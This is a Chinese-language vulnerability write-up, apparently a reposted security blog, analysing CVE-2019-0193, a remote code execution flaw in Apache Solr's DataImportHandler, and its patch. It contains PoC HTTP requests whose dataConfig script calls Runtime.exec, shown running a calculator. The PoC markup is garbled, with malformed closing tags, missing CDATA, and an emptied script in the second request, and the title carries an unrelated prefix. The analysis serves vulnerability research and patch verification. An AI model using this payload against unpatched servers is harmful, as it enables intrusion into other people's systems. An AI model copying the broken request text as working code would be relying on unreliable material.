httpinvoker远程调用超时_【漏洞分析】Apache Solr远程代码执行漏洞(CVE20190193)

本文作者:77 @奇安信A-TEAM

在本篇文章中,我们将对Apache Solr远程代码执行漏洞(CVE-2019-0193)进行分析。

声明:本篇文章由 77@奇安信A-TEAM原创,仅用于技术研究,不恰当使用会造成危害,严禁违法使用,否则后果自负。

漏洞描述

Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器。该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。Apache Solr的DataImportHandler是一个可选但常用的模块,可从数据库(通过JDBC)、RSS、Web 页面和文件中导入数据。而且这个模块的配置文件不仅可以在服务端中通过配置文件指定,也可以从用户请求的dataConfig中获取。

The entire configuration itself can be passed as a request parameter using the dataConfig parameter rather than using a file.

而为了对数据进行转换,这个dataConfig中可以包含脚本。在Apache Solr < 8.2.0 的版本中, DataImportHandler的dataConfig参数为用户可控,攻击者可通过构造恶意的dataConfig脚本交由转换器(Transformers)进行解析,而Solr在解析的过程中并未对用户输入的脚本进行检查,导致攻击者可在Solr服务器上执行任意代码。

漏洞利用的前提条件是Solr有一个具有dataimport功能的core,这个功能需要在这个core对应的solrconfig.xml配置文件中指定requestHandler节点的class属性为solr.DataImportHandler09ac34f4a434fd3bbe3bf7cb5e143eee.png

且Solr未开启认证(默认未开启认证),在这种情况下,Solr Admin UI上的操作是不需要登录凭据的。

开启认证可通过编辑配置文件: server/solr-webapp/webapp/WEB-INF/web.xml

参考:https://brandnewuser.iteye.com/blog/2318027

复现环境搭建

使用Solr 8.1.1进行复现。复现环境中,配置文件内容如下,没有配置任何dataSource: 017556fd01b72496421b8e452681e133.png

漏洞分析

关键调用栈为:

transformRow:55, ScriptTransformer (org.apache.solr.handler.dataimport)
applyTransformer:222, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
nextRow:280, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport)
buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport)
doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport)
execute:233, DocBuilder (org.apache.solr.handler.dataimport)
doFullImport:424, DataImporter (org.apache.solr.handler.dataimport)
runCmd:483, DataImporter (org.apache.solr.handler.dataimport)
handleRequestBody:184, DataImportHandler (org.apache.solr.handler.dataimport)
handleRequest:199, RequestHandlerBase (org.apache.solr.handler)
execute:2566, SolrCore (org.apache.solr.core)
...
run:745, Thread (java.lang)

org.apache.solr.core.SolrCore#execute开始, 8dcae0c362243c5edc32485daf55e3d0.png用户指定的dataConfig传入DataImportHandler。 4f4a547ccd309312f37fd78c54fd54e3.png

org.apache.solr.handler.dataimport.DataImportHandler#handleRequestBody中, 判断command参数,这里我们的请求是full-import,所以进入到这个else if中 d177486e8a416048821cd0c89ad5b65c.png

importer.maybeReloadConfiguration(requestParams, defaultParams);

中,将用户输入的dataConfig内容传到DataImporter对象的私有成员变量config(DIHConfiguration)中(后续会用到)。 8491885757f5ea971c422de5989891ca.png2f91ae144cd505441327ac5f35052e32.png

若用户指定了debug为true,执行

importer.runCmd(requestParams, sw);

用户没指定debug为true也没关系,会在后面的else if逻辑中, 7d2f56230afa2f62b83c00b9edd7d694.png在新线程执行runCmd方法。 f76d9c7fd6daf1415ffde4738647ddfb.png

DataImporter#runCmd中,判断command为full-import之后,执行

this.doFullImport(sw, reqParams);

88aef61274186bcb91d361a05ccb8aea.png

关于Solr的delta-import和full-import功能参考:http://www.zhongruitech.com/4016598944.html

继续跟进doFullImport, ea877a75d4f73d225b7224040c7ebf15.png

接下来的过程是:

execute:233, DocBuilder (org.apache.solr.handler.dataimport)
=> doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport)
=> buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport)
=> buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport)
=> nextRow:267, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
=> nextRow:212, XPathEntityProcessor (org.apache.solr.handler.dataimport)
=> fetchNextRow:232, XPathEntityProcessor (org.apache.solr.handler.dataimport)
=> initQuery:291, XPathEntityProcessor (org.apache.solr.handler.dataimport)
=> getData:43, URLDataSource (org.apache.solr.handler.dataimport)

其中在DocBuilder#buildDocument过程中,需要对EntityProcessorWrapper进行初始化EntityProcessorWrapper#init。 ab48191fd9a65631e3b50be8f45b9c01.png

在初始化的过程中,从Context里获取dataSource, 53497cff0a887a42bc842fc3ad493ccd.png

c0949592c2038be898c63ea14dac6113.png

在DataImporter中,从DIHConfiguration中取DataSource: 817c2e0f27590ad8b357dc9f9014d8bb.png

348c9983cb3f63a11eacdc76d4b89d21.png

拿到DataSource的类名之后,使用DocBuilder.loadClass载入这个DataSource类。在SolrResourceLoader#findClass 中,由于我们提供的URLDataSource不是全限定名,这里需要从一个列表中遍历查找待载入的全限定名的DataSource类,通过反射载入我们的URLDataSource类,然后新建其实例。

3ea88b93c0007d5de31464a4a6520316.png

若未指定dataSource或者未找到dataSource,则会在日志中记录这个异常,无法执行我们的payload。

3b6b7051e41f90c1f684f9e1a2bd8ffb.png

e390d6c77fd0020753b5b57476f9c0db.png

然后到了向url发起请求取HTTP数据的步骤, 在URLDataSource#getData中, 

58c94ef6c1ce6f6735fa246022183943.png

由于访问url的过程中,存在默认的HTTP超时时间,超时后,会抛出异常,无法执行payload。为了避免访问URL的时候出现超时导致无法执行后续步骤的情况,这里可以将url中的RSS换成一个国内的源。 

8ce20013aae1249568505f380378aaed.png

向用户指定的document的entity节点中的url发起请求。从

=> nextRow:267, EntityProcessorWrapper (org.apache.solr.handler.dataimport)

这一行出来之后, 调用

applyTransformer(arow),

9dc41895a94fbcc91d61d2ec0967d380.pngPS:看方法名字,大概意思是“应用这个转换器”,这里应该就是对成功拿到数据之后做的操作了。跟进一下, 422c88c7b5883b3dad3cc0e660088544.png

先载入转换器,在loadTransformers()中 

a337386a807790ccf577b7ab34bb32b8.png

若指定的转换器名以script:开头,则意味着使用脚本转换器(否则略过这个if流程,直接进入下面执行指定转换器的流程),则将script:后面的函数名取出,并将这个函数名设置为脚本转换器(ScriptTransformer)要执行的函数名。

脚本转换器允许使用Java支持的语言(比如Javascript, JRuby, Jython, Groovy, or BeanShell)编写任意转换函数,其中Javascript语言已默认集成在Java中了,使用其他语言的话需要自己整合。每个转换函数都 必须接收一个row变量(与Java中的Map类型对应,所以是支持get、put、remove等操作的),函数的功能是修改已知field的值,或者添加新的fields。处理完之后,将row对象作为返回值返回。这个脚本会以最高级别插入到DIH配置文件中,每个row会调用一次。

参考:https://cwiki.apache.org/confluence/display/solr/DataImportHandler#DataImportHandler-ScriptTransformer#

172ba367e8c8501e4de5f5a06caf8406.png在载入ScriptTransformer这个转换器之后, 执行

ScriptTransformer#transformRow(transformedRow, context)

69869f36ca1c050ca6b07dc661a17801.png

在52行,先初始化脚本引擎initEngine(context)。在initEngine方法中,会从context中取出脚本的语言,和具体代码。这里执行这段js代码,由于这里只是js的函数定义,所以并没有真正执行在函数中的payload。 bb2abbac2956ed8a0734567d4c4b9065.png

在55行,最后调用javax.script.Invocable#invokeFunction执行我们指定的poc函数。 3d3498985e1f84d54359545dd5dab5eb.png

Demo

3cd8967cd0ddf72893304de5d4d6fa2e.gif

PoC

这个PoC是从一个RSS站点取数据,然后取到之后调用poc函数,使用js调用java方法。关于使用js调用java参考:https://www.ibm.com/support/knowledgecenter/en/SSHS8R_8.0.0/com.ibm.worklight.dev.doc/devref/t_calling_java_code_from_a_javas.html

这里指定处理器(processor)为XPathEntityProcessor,这个类是对抽象类EntityProcessor的一个实现,根据访问url得到的xml内容,通过xpath解析器从xml文档中抽取需要的内容。它通常与URLDataSourceFileDataSource结合使用。

根据官方文档,可用的DataSource有以下几种:

  • ContentStreamDataSource

  • FieldReaderDataSource

  • FileDataSource

  • JdbcDataSource

  • URLDataSource

如果使用JdbcDataSource,需要jdbc驱动,且需要提供一个登录数据库的用户名密码。于是我们选择了不需要额外凭据的URLDataSource作为DataSource,配合XPathEntityProcessor

The XPathEntityprocessor is designed to stream the xml, row by row (Think of a row as various fields in a xml element ). It uses the forEach attribute to identify a 'row'.

参考:https://cwiki.apache.org/confluence/display/solr/DataImportHandler#DataImportHandler-ScriptTransformer#

POST /solr/new_core/dataimport HTTP/1.1
Host: cqq.com:8983
Content-Length: 604
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&debug=true&core=new_core&name=dataimport&dataConfig=<dataConfig><dataSource type="URLDataSource"/><script> function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
}
]]>script><document><entity name="stackoverflow"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:poc" />document>dataConfig>

从前面的分析来看,既然只是看transformer中的值是否以script:开头,那么其实可以这样写poc,直接在script节点里调用js代码就好了,不用写成一个函数。另外发现其实还有几个不必要的参数,又精简了一下poc如下:

POST /solr/new_core/dataimport HTTP/1.1
Host: cqq.com:8983
Content-Length: 453
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&dataConfig=<dataConfig><dataSource type="URLDataSource"/><script> ]]>script><document><entity name="a"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:" />document>dataConfig>

然后这个core的名字new_core视实际情况而定。需要发送一次请求:http://cqq.com:8983/solr/admin/cores获取。

cea830e07686bb2d03321a6da801268b.png

漏洞修复

官方commit中, https://github.com/apache/lucene-solr/commit/325824cd391c8e71f36f17d687f52344e50e9715

446abe03c2d93550090febcba56ebb2a.png

补丁增加了一个Java系统属性 enable.dih.dataConfigParam(默认为false) 只有启动solr的时候加上参数-Denable.dih.dataConfigParam=true 这样enable.dih.dataConfigParam系统属性才为true。

使用Solr 8.2.0验证漏洞修复情况。再发同样的payload,响应403,

4b5f6c8e8ac3631e1fc2cb33206bf3a6.png

因为在DataImportHandler#handleRequestBody中,抛出了异常。 3f28fc4520e6eb18f3b3e571de52ab7a.png

参考

  • https://issues.apache.org/jira/browse/SOLR-13669

  • https://cwiki.apache.org/confluence/display/solr/DataImportHandler

  • https://github.com/apache/lucene-solr/commit/325824cd391c8e71f36f17d687f52344e50e9715

  • https://stackoverflow.com/questions/7081318/solr-dataimporthandler-can-i-get-a-dynamic-field-name-from-xml-attribute-with-x

  • http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201908-031

  • https://github.com/apache/lucene-solr/blob/325824cd391c8e71f36f17d687f52344e50e9715/solr/solr-ref-guide/src/uploading-structured-data-store-data-with-the-data-import-handler.adoc

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值